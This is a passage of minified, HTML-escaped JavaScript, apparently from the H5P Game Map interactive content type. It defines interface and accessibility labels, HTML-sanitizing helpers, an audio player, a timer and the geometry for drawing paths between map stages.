stages&quot;},{&quot;value&quot;:&quot;1&quot;,&quot;label&quot;:&quot;See all unlocked stages and their adjacent neighbors&quot;},{&quot;value&quot;:&quot;0&quot;,&quot;label&quot;:&quot;See only unlocked stages&quot;}],&quot;default&quot;:&quot;all&quot;,&quot;widget&quot;:&quot;showWhen&quot;,&quot;showWhen&quot;:{&quot;nullWhenHidden&quot;:true,&quot;rules&quot;:[{&quot;field&quot;:&quot;roaming&quot;,&quot;equals&quot;:[&quot;complete&quot;,&quot;success&quot;]}]}}]}]},{&quot;name&quot;:&quot;l10n&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;User interface&quot;,&quot;common&quot;:true,&quot;fields&quot;:[{&quot;name&quot;:&quot;start&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Start&quot;,&quot;default&quot;:&quot;Start&quot;},{&quot;name&quot;:&quot;continue&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Continue&quot;,&quot;default&quot;:&quot;Continue&quot;},{&quot;name&quot;:&quot;restart&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Restart&quot;,&quot;default&quot;:&quot;Restart&quot;},{&quot;name&quot;:&quot;showSolutions&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Show solutions&quot;,&quot;default&quot;:&quot;Show solutions&quot;},{&quot;name&quot;:&quot;completedMap&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Completed the map&quot;,&quot;default&quot;:&quot;You have completed the map!&quot;},{&quot;name&quot;:&quot;fullScoreButnoLivesLeft&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Full score, but no lives left&quot;,&quot;default&quot;:&quot;You have achieved full score, but lost all your lifes!&quot;},{&quot;name&quot;:&quot;fullScoreButTimeout&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Full score, but timed out&quot;,&quot;default&quot;:&quot;You have achieved full score, but ran out of time!&quot;},{&quot;name&quot;:&quot;confirmFinishHeader&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog header finish map&quot;,&quot;default&quot;:&quot;Finish map?&quot;},{&quot;name&quot;:&quot;confirmFinishDialog&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog text finish map: General&quot;,&quot;default&quot;:&quot;If you finish now, you will not be able to explore the map any longer.&quot;},{&quot;name&quot;:&quot;confirmFinishDialogSubmission&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog text finish map: Submission&quot;,&quot;default&quot;:&quot;Your score will be submitted.&quot;},{&quot;name&quot;:&quot;confirmFinishDialogQuestion&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog text finish map: Question&quot;,&quot;default&quot;:&quot;Do you really want to finish the map?&quot;},{&quot;name&quot;:&quot;confirmAccessDeniedHeader&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog header access denied&quot;,&quot;default&quot;:&quot;Stage locked&quot;},{&quot;name&quot;:&quot;confirmAccessDeniedDialog&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog text access denied: General&quot;,&quot;default&quot;:&quot;This stage requires you to meet some goals before it can be opened.&quot;},{&quot;name&quot;:&quot;confirmAccessDeniedMinScore&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog text access denied: Minimum score&quot;,&quot;description&quot;:&quot;@minscore is a placeholder and will be replaced with the respective value.&quot;,&quot;default&quot;:&quot;You need at least a certain number of points: @minscore&quot;},{&quot;name&quot;:&quot;yes&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Yes&quot;,&quot;default&quot;:&quot;Yes&quot;},{&quot;name&quot;:&quot;no&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;No&quot;,&quot;default&quot;:&quot;No&quot;},{&quot;name&quot;:&quot;confirmGameOverHeader&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog header game over&quot;,&quot;default&quot;:&quot;Game over!&quot;},{&quot;name&quot;:&quot;confirmGameOverDialog&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog text game over&quot;,&quot;default&quot;:&quot;You have lost all your lives. Please try again!&quot;},{&quot;name&quot;:&quot;confirmGameOverDialogTimeout&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog text game over by timeout&quot;,&quot;default&quot;:&quot;You have run out of time. Please try again!&quot;},{&quot;name&quot;:&quot;confirmTimeoutHeader&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog header time out&quot;,&quot;default&quot;:&quot;Time out!&quot;},{&quot;name&quot;:&quot;confirmTimeoutDialog&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog text time out&quot;,&quot;default&quot;:&quot;You ran out of time.&quot;},{&quot;name&quot;:&quot;confirmTimeoutDialogLostLife&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog text time out (lost a life)&quot;,&quot;default&quot;:&quot;You ran out of time and lost a life.&quot;},{&quot;name&quot;:&quot;confirmScoreIncompleteHeader&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog header score incomplete&quot;,&quot;default&quot;:&quot;Not full score!&quot;},{&quot;name&quot;:&quot;confirmIncompleteScoreDialogLostLife&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog text score incomplete (lost a life)&quot;,&quot;default&quot;:&quot;You did not achieve full score and lost a life.&quot;},{&quot;name&quot;:&quot;confirmFullScoreHeader&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog header full score&quot;,&quot;default&quot;:&quot;You achieved full score!&quot;},{&quot;name&quot;:&quot;confirmFullScoreDialog&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog text full score&quot;,&quot;default&quot;:&quot;You have collected enough points to finish this map with a full score, but you are free to explore the rest if you wish to.&quot;},{&quot;name&quot;:&quot;confirmFullScoreDialogLoseLivesAmendmend&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Dialog text full score (amendment, if lives are set)&quot;,&quot;default&quot;:&quot;But beware! You may still lose lives!&quot;},{&quot;name&quot;:&quot;ok&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;OK&quot;,&quot;default&quot;:&quot;OK&quot;},{&quot;name&quot;:&quot;noBackground&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;No background image was set&quot;,&quot;default&quot;:&quot;No background image was set for the map.&quot;},{&quot;name&quot;:&quot;noStages&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;No stages were set&quot;,&quot;default&quot;:&quot;No valid stages were set for the map.&quot;}]},{&quot;name&quot;:&quot;a11y&quot;,&quot;type&quot;:&quot;group&quot;,&quot;label&quot;:&quot;Accessibility texts&quot;,&quot;common&quot;:true,&quot;fields&quot;:[{&quot;name&quot;:&quot;buttonFinish&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Finish&quot;,&quot;default&quot;:&quot;Finish the map&quot;},{&quot;name&quot;:&quot;buttonAudioActive&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Audio button (unmuted)&quot;,&quot;default&quot;:&quot;Mute audio. Currently unmuted.&quot;},{&quot;name&quot;:&quot;buttonAudioInactive&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Audio button (muted)&quot;,&quot;default&quot;:&quot;Unmute audio. Currently muted.&quot;},{&quot;name&quot;:&quot;close&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Close&quot;,&quot;default&quot;:&quot;Close&quot;},{&quot;name&quot;:&quot;yourResult&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Your result&quot;,&quot;description&quot;:&quot;@score will be replaced by the number of points. @total will be replaced by the maximum possible points.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;You got @score out of @total points&quot;},{&quot;name&quot;:&quot;mapWasOpened&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Map was opened&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;The map was opened.&quot;},{&quot;name&quot;:&quot;mapSolutionsWasOpened&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Map was opened (solutions mode)&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;The map was opened in solutions mode.&quot;},{&quot;name&quot;:&quot;startScreenWasOpened&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Title screen was opened&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;The title screen was opened.&quot;},{&quot;name&quot;:&quot;endScreenWasOpened&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;End screen was opened&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;The end screen was opened.&quot;},{&quot;name&quot;:&quot;exerciseLabel&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Exercise label&quot;,&quot;description&quot;:&quot;@stagelabel is a placeholder and will be replaced with the respective stage label.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;. Exercise for @stagelabel&quot;},{&quot;name&quot;:&quot;stageButtonLabel&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Stage button label&quot;,&quot;description&quot;:&quot;@stagelabel is a placeholder and will be replaced with the respective stage label.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;Stage: @stagelabel&quot;},{&quot;name&quot;:&quot;adjacentStageLabel&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;adjacent stage label&quot;,&quot;description&quot;:&quot;@stagelabelOrigin and @stagelabelNeighbor are placeholders and will be replaced with the respective stage labels.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;Adjacent stage of @stagelabelOrigin: @stagelabelNeighbor&quot;},{&quot;name&quot;:&quot;locked&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Locked&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;Locked&quot;},{&quot;name&quot;:&quot;cleared&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Cleared&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;Cleared&quot;},{&quot;name&quot;:&quot;applicationInstructions&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Description of map navigation&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;Use space or enter key to activate current stage. Use arrow keys to select adjacent stage. Use space or enter key on adjacent stage to navigate there.&quot;},{&quot;name&quot;:&quot;applicationDescription&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Description of map&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;Map&quot;},{&quot;name&quot;:&quot;movedToStage&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Moved to stage&quot;,&quot;description&quot;:&quot;@stagelabel is a placeholder and will be replaced with the respective stage label.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;Moved to @stagelabel&quot;},{&quot;name&quot;:&quot;stageUnlocked&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Unlocked stage&quot;,&quot;description&quot;:&quot;@stagelabel is a placeholder and will be replaced with the respective stage label.&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;Stage @stagelabel was unlocked.&quot;},{&quot;name&quot;:&quot;toolbarFallbackLabel&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Toolbar fallback label&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;Game Map&quot;},{&quot;name&quot;:&quot;enterFullscreen&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Enter fullscreen&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;Enter fullscreen mode&quot;},{&quot;name&quot;:&quot;exitFullscreen&quot;,&quot;type&quot;:&quot;text&quot;,&quot;label&quot;:&quot;Exit fullscreen&quot;,&quot;importance&quot;:&quot;low&quot;,&quot;default&quot;:&quot;Exit fullscreen mode&quot;}]}]&#039;);let t=function(){function t(){}return t.isInstanceTask=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};if(!e)return!1;if(e.isTask)return e.isTask;return!!(&quot;function&quot;==typeof e.getMaxScore&amp;&amp;e.getMaxScore()&gt;0)},t.getSemanticsDefaults=function(){let i=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:e,a={};return Array.isArray(i)?(i.forEach((e=&gt;{if(&quot;string&quot;==typeof e.name)if(void 0!==e.default&amp;&amp;(a[e.name]=e.default),&quot;list&quot;===e.type)a[e.name]=[];else if(&quot;group&quot;===e.type&amp;&amp;e.fields){const i=t.getSemanticsDefaults(e.fields);Object.keys(i).length&amp;&amp;(a[e.name]=i)}})),a):a},t}();var a=i(67);let s=function(){function e(){}return e.extend=function(){for(let e=1;e&lt;arguments.length;e++)for(let t in arguments[e])Object.prototype.hasOwnProperty.call(arguments[e],t)&amp;&amp;(&quot;object&quot;==typeof arguments[0][t]&amp;&amp;&quot;object&quot;==typeof arguments[e][t]?this.extend(arguments[0][t],arguments[e][t]):arguments[0][t]=arguments[e][t]);return arguments[0]},e.formatLanguageCode=function(e){if(&quot;string&quot;!=typeof e)return e;const t=e.split(&quot;-&quot;);return t[0]=t[0].toLowerCase(),t.length&gt;1&amp;&amp;(t[1]=t[1].toUpperCase()),e=t.join(&quot;-&quot;)},e.supportsTouch=function(){return&quot;ontouchstart&quot;in window||navigator.maxTouchPoints&gt;0},e.isHTMLWidgetFilled=function(e){const t=document.createElement(&quot;div&quot;);return t.innerHTML=e,t.firstChild?.innerText?.length&gt;0},e.addMixins=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:[];if(!e.prototype)return;Array.isArray(t)||(t=[t]);const i=e.prototype;t.forEach((e=&gt;{const t=e.prototype;Object.getOwnPropertyNames(t).forEach((e=&gt;{&quot;constructor&quot;!==e&amp;&amp;(Object.getOwnPropertyNames(i).includes(e)||(i[e]=t[e]))}))}))},e.purifyHTML=function(e){if(&quot;string&quot;!=typeof e)return&quot;&quot;;let t=a.decode(e);const i=document.createElement(&quot;div&quot;);return i.innerHTML=t,t=i.textContent||i.innerText||&quot;&quot;,t},e.callOnceVisible=async function(e,t){let i=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:{};if(&quot;object&quot;==typeof e&amp;&amp;&quot;function&quot;==typeof t)return i.threshold=i.threshold||0,await new Promise((a=&gt;{(window.requestIdleCallback?window.requestIdleCallback:window.requestAnimationFrame)((()=&gt;{const s=new IntersectionObserver((i=&gt;{i[0].isIntersecting&amp;&amp;(s.unobserve(e),s.disconnect(),t())}),{...i.root&amp;&amp;{root:i.root},threshold:i.threshold});s.observe(e),a(s)}))}))},e}(),r=function(){function e(){this.translation={}}var t=e.prototype;return t.fill=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.translation=this.sanitize(e)},t.get=function(e){let t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:this.translation;const i=e.split(/[./]+/);return 1===i.length?t[e]:&quot;object&quot;==typeof t[e=i.shift()]?this.get(i.join(&quot;.&quot;),t[e]):void 0},t.sanitize=function(e){if(&quot;object&quot;==typeof e)for(let t in e)e[t]=this.sanitize(e[t]);else if(&quot;string&quot;==typeof e){e=(0,a.decode)(e);const t=document.createElement(&quot;div&quot;);t.innerHTML=e,e=t.textContent||t.innerText||&quot;&quot;}return e},e}(),n=function(){function e(){this.keys={}}var t=e.prototype;return t.set=function(e,t){&quot;string&quot;==typeof e&amp;&amp;(this.keys[e]=t)},t.get=function(e){if(&quot;string&quot;==typeof e)return this.keys[e]},e}(),o=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.callbacks={},this.callbacks.onAudioContextReady=e.onAudioContextReady||(()=&gt;{}),this.dispatcher=document.createElement(&quot;div&quot;),this.dispatcher.addEventListener(&quot;bufferloaded&quot;,(e=&gt;{this.setAudioBuffer(e.detail),this.queued.includes(e.detail.id)&amp;&amp;(this.removeFromQueue(e.detail.id),this.play())})),this.audios={},this.queued=[];const t=window.AudioContext||window.webkitAudioContext;this.audioContext||(this.audioContext=new t)}var t=e.prototype;return t.fill=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};for(const t in e)e[t].src&amp;&amp;this.add({id:t,src:e[t].src,options:e[t].options??{}})},t.add=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.audioContext&amp;&amp;(this.audios[e.id]={loop:e.options.loop||!1,isMuted:e.options.muted||!1,groupId:e.options.groupId||&quot;default&quot;},this.bufferSound({id:e.id,url:e.src}))},t.getState=function(e){if(this.audios[e])return this.audios[e].state},t.setState=function(t,i){&quot;string&quot;==typeof i&amp;&amp;(i=e.STATES[i]),&quot;number&quot;==typeof i&amp;&amp;-1!==Object.values(e.STATES).indexOf(i)&amp;&amp;this.audios[t]&amp;&amp;this.audios[t].state!==i&amp;&amp;(this.audios[t].state=i,this.dispatcher.dispatchEvent(new CustomEvent(&quot;stateChanged&quot;,{detail:{id:t,state:i}})))},t.setAudioBuffer=function(){let t=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.audios[t.id]&amp;&amp;(this.audios[t.id].buffer=t.buffer,this.setState(t.id,e.STATES.stopped))},t.bufferSound=function(){let t=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};if(this.audios[t.id]){this.setState(t.id,e.STATES.buffering);var i=new XMLHttpRequest;i.open(&quot;GET&quot;,t.url,!0),i.responseType=&quot;arraybuffer&quot;,i.onload=()=&gt;{this.audioContext.decodeAudioData(i.response,(e=&gt;{const i=new CustomEvent(&quot;bufferloaded&quot;,{detail:{id:t.id,buffer:e}});this.dispatcher.dispatchEvent(i)}))},i.send()}},t.play=function(t){if(!this.audios[t])return!1;if(this.audios[t].isMuted)return!1;if(this.getState(t)===e.STATES.playing)return!1;if(&quot;suspended&quot;===this.audioContext.state)return!1;if(this.getState(t)===e.STATES.buffering)return this.addToQueue(t),!1;const i=this.audios[t],a=this.audioContext.createBufferSource();a.buffer=i.buffer;const s=this.audioContext.createGain();return a.connect(s).connect(this.audioContext.destination),this.audios[t].gainNode=s,a.loop=this.audios[t].loop,i.source=a,i.source.onended=()=&gt;{this.stop(t)},i.source.start(),this.setState(t,e.STATES.playing),!0},t.addToQueue=function(e){this.queued.includes(e)||this.queued.push(e)},t.removeFromQueue=function(e){this.queued=this.queued.filter((t=&gt;t!==e))},t.stop=function(t){this.audios[t]&amp;&amp;(this.removeFromQueue(t),this.getState(t)===e.STATES.playing&amp;&amp;(this.audios[t].source?.stop(),this.setState(t,e.STATES.stopped)))},t.stopGroup=function(e){if(e)for(const t in this.audios)this.audios[t].groupId===e&amp;&amp;this.stop(t)},t.stopAll=function(){for(const e in this.audios)this.stop(e)},t.isPlaying=function(t){return!!this.audios[t]&amp;&amp;this.getState(t)===e.STATES.playing},t.fade=function(t){let i=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.audios[t]&amp;&amp;!this.audios[t].isMuted&amp;&amp;(&quot;in&quot;!==i.type&amp;&amp;&quot;out&quot;!==i.type||(window.clearTimeout(this.audios[t].fadeTimeout),&quot;out&quot;===i.type&amp;&amp;0===this.audios[t].gainNode.gain.value||&quot;in&quot;===i.type&amp;&amp;1===this.audios[t].gainNode.gain.value||(&quot;number&quot;!=typeof i.time&amp;&amp;(i.time=e.DEFAULT_FADE_TIME_MS),i.time=Math.max(e.DEFAULT_TIMER_INTERVAL_MS,i.time),&quot;number&quot;!=typeof i.interval&amp;&amp;(i.interval=e.DEFAULT_TIMER_INTERVAL_MS),i.interval=Math.max(50,i.interval),(&quot;number&quot;!=typeof i.gainDelta||i.gainDelta&lt;=0)&amp;&amp;(&quot;in&quot;===i.type?i.gainDelta=(1-this.audios[t].gainNode.gain.value)/(i.time/i.interval):i.gainDelta=this.audios[t].gainNode.gain.value/(i.time/i.interval)),i.time&lt;=0?this.audios[t].gainNode.gain.value=&quot;in&quot;===i.type?1:0:(&quot;in&quot;===i.type?this.audios[t].gainNode.gain.value=Math.min(1,this.audios[t].gainNode.gain.value+=i.gainDelta):this.audios[t].gainNode.gain.value=Math.max(0,this.audios[t].gainNode.gain.value-=i.gainDelta),this.audios[t].fadeTimeout=window.setTimeout((()=&gt;{this.fade(t,{time:i.time-i.interval,gainDelta:i.gainDelta,type:i.type})}),i.interval)))))},t.getDOM=function(e){if(this.audios[e])return this.audios[e].dom},t.getAudioIds=function(){return Object.keys(this.audios)},t.muteAll=function(){for(const e in this.audios)this.mute(e)},t.mute=function(e){this.audios[e]&amp;&amp;(this.stop(e),this.audios[e].isMuted=!0)},t.unmuteAll=function(){for(const e in this.audios)this.unmute(e)},t.unmute=function(e){this.audios[e]&amp;&amp;(this.audios[e].isMuted=!1)},t.isMuted=function(e){return!!this.audios[e]&amp;&amp;this.audios[e].isMuted},e}();o.DEFAULT_TIMER_INTERVAL_MS=100,o.DEFAULT_FADE_TIME_MS=1e3,o.STATES={buffering:0,stopped:1,queued:2,playing:3,paused:4};let l=function(){function e(){this.queued=[],this.scheduled=[],this.isClosed=!1,this.isSkippable=!0,this.respectsDelay=!0}var t=e.prototype;return t.add=function(e){let t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.isClosed||&quot;function&quot;==typeof e&amp;&amp;(t.delay=t.delay||0,t.block=t.block||0,t.skipQueue=t.skipQueue??!1,this.isSkippable||t.skipQueue?e():this.queued.push({callback:e,params:t}))},t.clearQueued=function(){this.queued=[]},t.clearScheduled=function(){[...this.scheduled].forEach((e=&gt;{window.clearTimeout(e),this.scheduled=this.scheduled.filter((t=&gt;t!==e))}))},t.scheduleQueued=function(){this.respectsDelay?this.queued=this.queued.map(((e,t,i)=&gt;{if(0===t)return e;const a=i[t-1].params;return e.params.delay+=a.delay+a.block,e}),[]):this.queued=this.queued.map((e=&gt;(e.params.delay=0,e.params.block=0,e))),this.queued.forEach((e=&gt;{const t=window.setTimeout((()=&gt;{e.callback()}),e.params.delay);this.scheduled.push(t)})),this.queued=[]},t.open=function(){this.isClosed=!1},t.close=function(){this.isClosed=!0},t.setSkippable=function(e){&quot;boolean&quot;==typeof e&amp;&amp;(this.isSkippable=e)},t.setRespectsDelay=function(e){&quot;boolean&quot;==typeof e&amp;&amp;(this.respectsDelay=e)},e}(),c=function(){function e(){let t=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},i=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=s.extend({mode:&quot;timer&quot;,interval:1e3},t),this.callbacks=s.extend({onStateChanged:()=&gt;{},onExpired:()=&gt;{},onTick:()=&gt;{}},i),this.mode=&quot;stopwatch&quot;===this.params.mode?e.FORWARD:e.BACKWARD,this.params.interval=Math.max(50,this.params.interval),this.state=e.STATE_ENDED,this.timeMs=0}var t=e.prototype;return t.setState=function(e){this.state=e,this.callbacks.onStateChanged(e,this.getTime())},t.getState=function(){return this.state},t.start=function(t){this.state===e.STATE_ENDED&amp;&amp;(this.startTime=new Date,t&amp;&amp;this.setTime(t),this.setState(e.STATE_PLAYING),this.timeout=setTimeout((()=&gt;{this.update()}),this.params.interval))},t.pause=function(){this.state===e.STATE_PLAYING&amp;&amp;(this.setState(e.STATE_PAUSED),this.startTime=this.getTime())},t.resume=function(){this.state===e.STATE_PAUSED&amp;&amp;(this.setState(e.STATE_PLAYING),this.timeout=setTimeout((()=&gt;{this.update()}),this.params.interval))},t.stop=function(){clearTimeout(this.timeout),this.setState(e.STATE_ENDED)},t.reset=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:0;this.stop(),this.setTime(e)},t.setTime=function(e){this.timeMs=e},t.getTime=function(){return Math.max(0,this.timeMs)},t.update=function(){if(this.state===e.STATE_PLAYING){const e=(new Date).getTime()-this.startTime,t=this.getTime()+e*this.mode;this.setTime(t),this.callbacks.onTick(t)}if(this.mode===e.BACKWARD&amp;&amp;this.getTime()&lt;=0)return this.stop(),void this.callbacks.onExpired(0);this.startTime=new Date,this.timeout=setTimeout((()=&gt;{this.update()}),this.params.interval)},e.toTimecode=function(e){if(&quot;number&quot;!=typeof e)return;const t=new Date(0);return t.setSeconds(Math.round(Math.max(0,e/1e3))),t.toISOString().split(&quot;T&quot;)[1].split(&quot;.&quot;)[0].replace(/^[0:]+/,&quot;&quot;)||&quot;0&quot;},e}();c.STATE_ENDED=0,c.STATE_PLAYING=1,c.STATE_PAUSED=2,c.FORWARD=1,c.BACKWARD=-1;let u=function(){function e(){}var t=e.prototype;return t.toggleAudio=function(e){this.isAudioOn=&quot;boolean&quot;==typeof e?e:!this.isAudioOn,this.isAudioOn?this.tryStartBackgroundMusic():this.params.jukebox.muteAll()},t.tryStartBackgroundMusic=async function(){return&quot;suspended&quot;===this.params.jukebox.audioContext.state?(await this.params.jukebox.audioContext.resume(),this.params.jukebox.unmuteAll(),this.params.jukebox.play(&quot;backgroundMusic&quot;)):(this.params.jukebox.unmuteAll(),this.params.jukebox.play(&quot;backgroundMusic&quot;))},e}(),h=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.params=s.extend({visuals:{pathWidth:&quot;0.2&quot;}},e),this.params.state=this.params.state??this.params.globals.get(&quot;states&quot;).open,this.params.visuals.pathWidth=parseFloat(this.params.visuals.pathWidth),this.dom=document.createElement(&quot;div&quot;),this.dom.classList.add(&quot;h5p-game-map-path&quot;),this.params.visible?this.show():this.hide()}var t=e.prototype;return t.getDOM=function(){return this.dom},t.getState=function(){return this.state},t.getStageIds=function(){return{from:this.params.fromId,to:this.params.toId}},t.connectsTo=function(e){return this.params.fromId===e||this.params.toId===e},t.setReachable=function(e){&quot;boolean&quot;==typeof e&amp;&amp;(this.isReachableState=e,this.isReachable()||this.hide())},t.isReachable=function(){return this.isReachableState},t.isVisible=function(){return this.isVisibleState},t.show=function(){this.params.globals.get(&quot;params&quot;).visual.paths.displayPaths&amp;&amp;(this.dom.classList.remove(&quot;display-none&quot;),window.requestAnimationFrame((()=&gt;{this.dom.classList.remove(&quot;transparent&quot;)})),this.isVisibleState=!0)},t.hide=function(){this.dom.classList.add(&quot;display-none&quot;),this.dom.classList.add(&quot;transparent&quot;),this.isVisibleState=!1},t.update=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};&quot;number&quot;==typeof e.x&amp;&amp;(this.dom.style.left=`${e.x}%`),&quot;number&quot;==typeof e.y&amp;&amp;(this.dom.style.top=`${e.y}%`),&quot;number&quot;==typeof e.length&amp;&amp;(this.dom.style.width=`${e.length}px`),&quot;number&quot;==typeof e.angle&amp;&amp;(this.dom.style.transform=`rotate(${e.angle}rad)`),&quot;number&quot;==typeof e.width&amp;&amp;(this.dom.style.borderTopWidth=`${e.width}px`)},t.resize=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};const t=this.computePathTelemetry({mapSize:e.mapSize});t&amp;&amp;this.update({x:t.x,y:t.y,length:t.length,angle:t.angle,width:t.width})},t.computePathTelemetry=function(){let t=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};if(0===t.mapSize.height||0===t.mapSize.width)return null;const i=this.params.telemetryFrom.x,a=this.params.telemetryFrom.y,s=this.params.telemetryFrom.width,r=this.params.telemetryFrom.height,n=this.params.telemetryTo.x,o=this.params.telemetryTo.y,l=parseFloat(i)/100*t.mapSize.width,c=parseFloat(a)/100*t.mapSize.height,u=parseFloat(n)/100*t.mapSize.width,h=parseFloat(o)/100*t.mapSize.height,d=parseFloat(s)/100*t.mapSize.width,p=parseFloat(r)/100*t.mapSize.height,m=l-u,g=c-h,f=Math.sign(m)&gt;=0?Math.PI:0,b=Math.atan(g/m)+f,y=d/2*Math.cos(b)*100/t.mapSize.width,v=p/2*Math.sin(b)*100/t.mapSize.height,w=Math.min(Math.max(e.MIN_WIDTH_PX,d*this.params.visuals.pathWidth),d*e.MAX_FACTOR),S=w/2*100/t.mapSize.height;return{x:parseFloat(i)+parseFloat(s)/2+y,y:parseFloat(a)+parseFloat(r)/2+v-S,length:Math.sqrt(Math.abs(m)*Math.abs(m)+Math.abs(g)*Math.abs(g))-d,angle:b,width:w}},t.reset=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.setReachable(!0);const t=e.isInitial?this.params.state:this.params.globals.get(&quot;states&quot;).open;this.setState(t),e.isInitial&amp;&amp;this.params.visible?this.show():this.hide()},t.setState=function(e){let t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};const 